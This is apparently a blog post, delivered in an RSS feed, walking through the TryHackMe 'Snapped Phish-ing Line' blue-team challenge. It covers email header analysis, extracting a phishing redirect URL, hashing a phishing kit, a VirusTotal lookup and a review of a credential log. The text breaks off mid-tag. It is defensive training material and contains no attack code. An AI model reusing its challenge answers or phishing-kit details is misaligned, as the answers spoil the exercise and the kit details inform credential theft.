<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on Drew Arpino (Stumblesec)</title>
        <link>https://stumblesec.com/posts/</link>
        <description>Recent content in Posts on Drew Arpino (Stumblesec)</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <lastBuildDate>Sat, 13 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://stumblesec.com/posts/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>TryHackMe  —  Snapped Phish-ing Line Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/</link>
            <pubDate>Sat, 13 Jun 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/0cec87ee1867d1c99bc056f11997f091_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Snapped Phish-ing Line Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/snappedphishingline&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Snapped Phish-ing Line&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;This scenario drops us into a quickly escalating incident at SwiftSpend Financial, where multiple users got hit with suspicious phishing emails and some even got hooked by the lure and submitted their credentials. Not good!  Our job is to analyze the phishing emails, check out the attachments, determine how this phishing kit operates, and scope the affected users.&lt;/p&gt;&#xA;&lt;p&gt;This challenge focuses heavily on phishing email analysis and incident triage fundamentals. To help us on our investigation we’ll pivot between tools like &lt;strong&gt;CyberChef&lt;/strong&gt;, &lt;strong&gt;VirusTotal&lt;/strong&gt;, and a few native utilities within the lab VM to inspect email headers, analyze malicious attachments, extract artifacts from a phishing kit, and identify attacker infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;What makes this challenge especially valuable is how it mirrors real-world workflows. I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the field. Sounds like fun, right? Let’s go!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;em&gt;As a member of the IT department at SwiftSpend Financial, you are responsible for assisting employees with technical concerns. What initially appeared to be a routine day quickly escalated when multiple employees across different departments reported receiving a suspicious email. Several users noted unusual characteristics in the message, and unfortunately, some had already submitted their credentials and were no longer able to access their accounts. With the potential for a wider compromise, the incident has been escalated for investigation. Your task is to analyze the available evidence, determine the scope of the attack, and uncover how the adversary operated.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;objectives&#34;&gt;Objectives&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Analyze the provided email samples to identify key artifacts&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Investigate phishing URLs to understand redirection&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Retrieve and examine the phishing kit used in the attack&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Use CTI tools to gather intelligence on the adversary&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Analyze the phishing kit to uncover additional indicators&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;questions-1-2&#34;&gt;Questions 1 &amp;amp; 2: &#xA;&lt;/h3&gt;&lt;h4 id=&#34;1-begin-reviewing-the-emails-in-thephish-emailsfolder-on-your-desktop&#34;&gt;1. Begin reviewing the emails in the phish-emails folder on your desktop.&#xA;&lt;/h4&gt;&lt;p&gt;Which individual received the email regarding a Quote for Services Rendered?&lt;/p&gt;&#xA;&lt;h4 id=&#34;2-what-email-address-was-used-by-the-adversary-to-send-the-phishingemails&#34;&gt;2. What email address was used by the adversary to send the phishing emails?&#xA;&lt;/h4&gt;&lt;p&gt;Let’s kick off our investigation. Our first objective is to analyze the provided email samples and identify key artifacts. Open the &lt;code&gt;phish-emails&lt;/code&gt; folder on the desktop of the THM VM. You’ll find several phishing email samples in this directory.&lt;/p&gt;&#xA;&lt;p&gt;The first file to review is: &lt;code&gt;Quote for Services Rendered processed on June 29 202 100132 AM.eml&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This file contains the email header information needed to answer both &lt;strong&gt;Question 1&lt;/strong&gt; and &lt;strong&gt;Question 2&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Overview of the phishing artifacts&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;813px&#34; data-flex-grow=&#34;338&#34; height=&#34;236&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/5c6ddf1530fe83f7397ae690c86a385f_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Overview of the phishing artifacts&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are a couple of ways to approach this. We can open the &lt;code&gt;.eml&lt;/code&gt; file in a mail client like &lt;strong&gt;Thunderbird&lt;/strong&gt;, which is already installed on the VM, or we can rely on &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt; to review the mail headers. &lt;em&gt;CyberChef&lt;/em&gt; is also available from &lt;code&gt;Desktop/Tools/CyberChef&lt;/code&gt;, or as a handy bookmark in the VM&amp;rsquo;s &lt;em&gt;Firefox&lt;/em&gt; instance.&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, I’ll show both methods.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Thunderbird: Identifying the from and to addresses of the phishing email&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;547px&#34; data-flex-grow=&#34;227&#34; height=&#34;351&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/fd5ed5a0e77475af3c41ef319f3e406f_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Thunderbird: Identifying the from and to addresses of the phishing email&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;CyberChef: Identifying the from and to addresses of the phishing email&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;510px&#34; data-flex-grow=&#34;212&#34; height=&#34;376&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/8ccf9a6f26e6f1afed2da66b37f3898c_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;CyberChef: Identifying the from and to addresses of the phishing email&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;While this is a simple check, getting comfortable with mail headers that aren’t visible in a mail client’s simplified view is a helpful exercise as you build experience in phishing triage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4f7feeac0a06ebe0ce7e6d69eb280948_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1185px&#34; data-flex-grow=&#34;493&#34; height=&#34;162&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/4f7feeac0a06ebe0ce7e6d69eb280948_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-3-4&#34;&gt;Questions 3 &amp;amp; 4: &#xA;&lt;/h3&gt;&lt;h4 id=&#34;3-investigate-the-attachment-in-the-email-addressed-to-zoe-duncan&#34;&gt;3. Investigate the attachment in the email addressed to Zoe Duncan.&#xA;&lt;/h4&gt;&lt;p&gt;What is the root domain of the redirection URL found within the file?&lt;/p&gt;&#xA;&lt;h4 id=&#34;4-open-the-attachment-in-your-vm-web-browser&#34;&gt;4. Open the attachment in your VM web browser.&#xA;&lt;/h4&gt;&lt;p&gt;Which company is the login page impersonating?&lt;/p&gt;&#xA;&lt;p&gt;Moving right along to &lt;strong&gt;Question 3&lt;/strong&gt; and &lt;strong&gt;Question 4&lt;/strong&gt;, we’ll need to review a second phishing email from the &lt;code&gt;phish-emails&lt;/code&gt; folder. This time, we&amp;rsquo;re looking for the one that&amp;rsquo;s addressed to &lt;strong&gt;Zoe Duncan&lt;/strong&gt;:&#xA;&lt;code&gt;Group Marketing Online Direct Credit Advice - zoe.duncan@swiftspend.finance.eml&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;We’re interested in analyzing the attachment: &lt;code&gt;Direct Credit Advice.html&lt;/code&gt;. For simplicity, let’s download the attachment directly from the message.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1ff59aeed16ee38912c85f6d44d2508d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;250px&#34; data-flex-grow=&#34;104&#34; height=&#34;765&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/1ff59aeed16ee38912c85f6d44d2508d_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Thunderbird: Downloading the attachment for Zoe Duncan&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sure, we could simply open the attachment, but a more controlled way to assess the file is to use &lt;strong&gt;CyberChef&lt;/strong&gt; to analyze it. Drag the malicious HTML attachment we downloaded from &lt;strong&gt;Thunderbird&lt;/strong&gt; into a new input tab in &lt;em&gt;CyberChef&lt;/em&gt;. While the file is readable as-is, we can speed up analysis by applying the &lt;em&gt;Extract URLs&lt;/em&gt; operation. This parses the file and displays only URLs identified in the file, which simplifies review versus manually picking them out.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e838c26c11e07b3f5e75e3ca2131cf0f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;247px&#34; data-flex-grow=&#34;103&#34; height=&#34;775&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/e838c26c11e07b3f5e75e3ca2131cf0f_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;CyberChef: Extracting the URL from the phishing attachment&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This approach allows us to quickly identify both the root domain and the URL used in the phishing attachment. It also gives a strong indication of which brand is being impersonated as the lure, even without visiting the phishing page directly.&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;strong&gt;Question 4&lt;/strong&gt; asks us to open the attachment, open it up to see how everything appears to the victim when rendered in the web browser. Right away we&amp;rsquo;ll see the obvious branding of the company the phishing kit is impersonating:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;89c26205ebf9e7ab5c561ce662127971_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;453px&#34; data-flex-grow=&#34;189&#34; height=&#34;423&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/89c26205ebf9e7ab5c561ce662127971_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Firefox: The phishing landing page&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7b9ee7846e9e0c6428a53738f7cd7f01_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1103px&#34; data-flex-grow=&#34;459&#34; height=&#34;174&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/7b9ee7846e9e0c6428a53738f7cd7f01_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-5-6&#34;&gt;Questions 5 &amp;amp; 6: &#xA;&lt;/h3&gt;&lt;h4 id=&#34;5-lets-check-if-the-attacker-left-any-files-exposed-on-the-same-website&#34;&gt;5. Let’s check if the attacker left any files exposed on the same website.&#xA;&lt;/h4&gt;&lt;p&gt;Navigate to the &lt;code&gt;/data&lt;/code&gt; directory.&#xA;What is the name of the archive file?&lt;/p&gt;&#xA;&lt;h4 id=&#34;6-download-the-phishing-kit-archive-to-your-virtual-environment&#34;&gt;6. Download the phishing kit archive to your virtual environment.&#xA;&lt;/h4&gt;&lt;p&gt;Using the &lt;code&gt;sha256sum&lt;/code&gt; command, what is the &lt;code&gt;SHA256&lt;/code&gt; hash of the file?&lt;/p&gt;&#xA;&lt;p&gt;Now, this question might feel a bit confusing at first. You might be wondering how we’re able to access the URL, since the lab environment typically doesn’t allow full internet access. There’s a clue in the hosts file, which maps an IP address to the phishing domain, allowing us to access it within the lab environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;64aeacb887b220f61835bfce6223083e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;443px&#34; data-flex-grow=&#34;184&#34; height=&#34;433&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/64aeacb887b220f61835bfce6223083e_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Terminal: Checking the /etc/hosts file&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, jump back to &lt;em&gt;Firefox&lt;/em&gt; and enter the URL we found in &lt;strong&gt;Question 3&lt;/strong&gt;. From there, we just need to make a small adjustment to the phishing URL and append  &lt;code&gt;/data&lt;/code&gt; to it, to navigate to the directory where the  &lt;code&gt;.zip&lt;/code&gt; file is hosted.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8953908e6c7a1e9703238a6427d783db_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;446px&#34; data-flex-grow=&#34;186&#34; height=&#34;430&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/8953908e6c7a1e9703238a6427d783db_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Firefox: The index of the /data subdirectory&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve found it, we&amp;rsquo;ll download the archive, then use the &lt;code&gt;sha256sum&lt;/code&gt; command from the terminal to calculate the SHA256 hash of the phishing kit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;16c90ee939d93d69dbd8ff017c60d5e6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;437px&#34; data-flex-grow=&#34;182&#34; height=&#34;439&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/16c90ee939d93d69dbd8ff017c60d5e6_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Terminal: Calculating the SHA256 hash of the phishing kit archive&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;By locating the file and grabbing the kit&amp;rsquo;s file hash, we can pivot and gather additional threat intelligence. This helps add context to the investigation and may reveal whether this kit has been observed in other campaigns. &lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;844f6d59b0941756c27bd844166232b6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/844f6d59b0941756c27bd844166232b6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8&#34;&gt;Questions 7 &amp;amp; 8: &#xA;&lt;/h3&gt;&lt;h4 id=&#34;7-investigate-the-file-hash-from-the-previous-question-usingvirustotal-opens-in-new-tab&#34;&gt;7. Investigate the file hash from the previous question using &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/home/search&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;VirusTotal (opens in new tab)&lt;/a&gt;.&#xA;&lt;/h4&gt;&lt;p&gt;Aside from &lt;strong&gt;phishing&lt;/strong&gt;, what other threat category is assigned to the &lt;code&gt;ZIP&lt;/code&gt; archive?&lt;/p&gt;&#xA;&lt;h4 id=&#34;8-review-the-virustotal-details-page-for-the-phishing-kit&#34;&gt;8. Review the VirusTotal Details page for the phishing kit.&#xA;&lt;/h4&gt;&lt;p&gt;How many files are contained within the archive?&lt;/p&gt;&#xA;&lt;p&gt;With the hash of the phishing kit in our hands, a solid next step is to identify what additional context and intelligence we can gather. For this task, we’ll use &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;. Since the lab VM has limited internet access, this step requires a browser outside of the lab environment (like on your local machine).&lt;/p&gt;&#xA;&lt;p&gt;Navigate to *&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;VirusTotal*&lt;/a&gt; and paste the SHA256 hash from &lt;strong&gt;Question 6&lt;/strong&gt; into the search bar which lets us to check out the platform&amp;rsquo;s analysis results if the sample has already been submitted.&lt;/p&gt;&#xA;&lt;p&gt;In this case, we&amp;rsquo;re in luck, the sample has already been analyzed so we don&amp;rsquo;t need to wait for the scanning to complete. Locate the &lt;em&gt;Threat Categories&lt;/em&gt; section to determine how the file has been classified. Aside from &lt;em&gt;phishing&lt;/em&gt;, there are two additional categories listed. We’re interested in the first of those categories to answer &lt;strong&gt;Question 7&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8e8e52b44228fe7c5a442c5e2070a2fb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;796px&#34; data-flex-grow=&#34;331&#34; height=&#34;241&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/8e8e52b44228fe7c5a442c5e2070a2fb_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/ba3c15267393419eb08c7b2652b8b6b39b406ef300ae8a18fee4d16b19ac9686&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/ba3c15267393419eb08c7b2652b8b6b39b406ef300ae8a18fee4d16b19ac9686&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, we can review the high-level details about the archive&amp;rsquo;s contents, like the number of files contained in it. To do this, navigate to: Details → Bundle Info → Contents Metadata → Contained Files&lt;/p&gt;&#xA;&lt;p&gt;This section shows how many files are packaged within the archive, which answers &lt;strong&gt;Question 8&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6d3431f53538e514883588dcac469907_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1222px&#34; data-flex-grow=&#34;509&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/6d3431f53538e514883588dcac469907_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;VirusTotal: Identifying the number of files contained in the archive&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;86a4a585eafcd6b74fae6f63623c8ec5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1097px&#34; data-flex-grow=&#34;457&#34; height=&#34;175&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/86a4a585eafcd6b74fae6f63623c8ec5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-lets-see-if-the-attacker-has-exposed-any-captured-credentials&#34;&gt;Question 9: Let’s see if the attacker has exposed any captured credentials.&#xA;&lt;/h3&gt;&lt;h4 id=&#34;navigate-to-thedataupdate365directory-and-investigate-the-log-file&#34;&gt;Navigate to the &lt;code&gt;/data/Update365/&lt;/code&gt; directory and investigate the log file.&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-email-address-of-the-user-who-submitted-their-credentials-more-thanonce&#34;&gt;What is the email address of the user who submitted their credentials more than once?&#xA;&lt;/h4&gt;&lt;p&gt;Next up, we’ll bounce back to &lt;em&gt;Firefox&lt;/em&gt; to analyze the log file hosted on the phishing site. Navigate to the &lt;code&gt;/data/Update365&lt;/code&gt; directory of the phishing domain. There, we&amp;rsquo;ll find the &lt;code&gt;log.txt&lt;/code&gt; file, which appears to contain credentials captured by the phishing kit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7c20dc0616b336326cca1acf28f96d0b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;914px&#34; data-flex-grow=&#34;380&#34; height=&#34;210&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/7c20dc0616b336326cca1acf28f96d0b_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Firefox: Accessing the log.txt file on the phishing domain&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Open &lt;code&gt;log.txt&lt;/code&gt;. The file is fairly small, so we can quickly perform a manual review by looking for duplicate entries in the email field.&#xA;&lt;img alt=&#34;6690e680b6a9a9293195a7bdd125ac60_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;298px&#34; data-flex-grow=&#34;124&#34; height=&#34;643&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/6690e680b6a9a9293195a7bdd125ac60_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Contents of the log file&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In a real-world scenario, log files would likely be much larger. To work more efficiently, we can extract email addresses and identify duplicates using &lt;strong&gt;CyberChef&lt;/strong&gt;. Copy the contents of the log file and paste them into &lt;em&gt;CyberChef&lt;/em&gt;. From there, apply the &lt;em&gt;Extract email addresses&lt;/em&gt; operation, followed by &lt;em&gt;Sort&lt;/em&gt;, to quickly surface the duplicates. This approach helps scale the analysis by reducing those manual checks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;742669beba89daedbbbf08400f954cac_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;247px&#34; data-flex-grow=&#34;103&#34; height=&#34;775&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/742669beba89daedbbbf08400f954cac_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;CyberChef: Analyzing the contents of the log.txt file&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using either method, we&amp;rsquo;ve identified a single user who submitted their credentials more than once. This suggests the user attempted to log in repeatedly after the first submission.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like this user might need double the training :D&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3da32652eb31025070d91c60762ee785_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1846px&#34; data-flex-grow=&#34;769&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/3da32652eb31025070d91c60762ee785_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-extract-the-phishing-kit-archive-and-locate-thesubmitphpfile&#34;&gt;Question 10: Extract the phishing kit archive and locate the &lt;code&gt;submit.php&lt;/code&gt; file.&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-email-address-is-used-by-the-adversary-to-collect-compromised-credentials&#34;&gt;What email address is used by the adversary to collect compromised credentials?&#xA;&lt;/h4&gt;&lt;p&gt;To answer &lt;strong&gt;Question 10&lt;/strong&gt;, extract the phishing kit ZIP file that we downloaded in &lt;strong&gt;Question 6&lt;/strong&gt; and locate the &lt;code&gt;submit.php&lt;/code&gt; file found at:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/home/damianhall/Downloads/Update365/office365/Validation/submit.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you&amp;rsquo;ve got it, drop the file into &lt;strong&gt;CyberChef&lt;/strong&gt;. As before, we can use the &lt;em&gt;Extract email addresses&lt;/em&gt; operation to quickly identify any email addresses embedded in the script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;74fa7a9924e36b79ab43432371bac518_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;510px&#34; data-flex-grow=&#34;212&#34; height=&#34;376&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/74fa7a9924e36b79ab43432371bac518_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;CyberChef: Extracting email addresses from submit.php&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this case, there is only a single result. This strongly suggests we’ve identified the address used by the attacker to collect the compromised credentials.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;287c1c76b710adf89279ff7e2573597a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 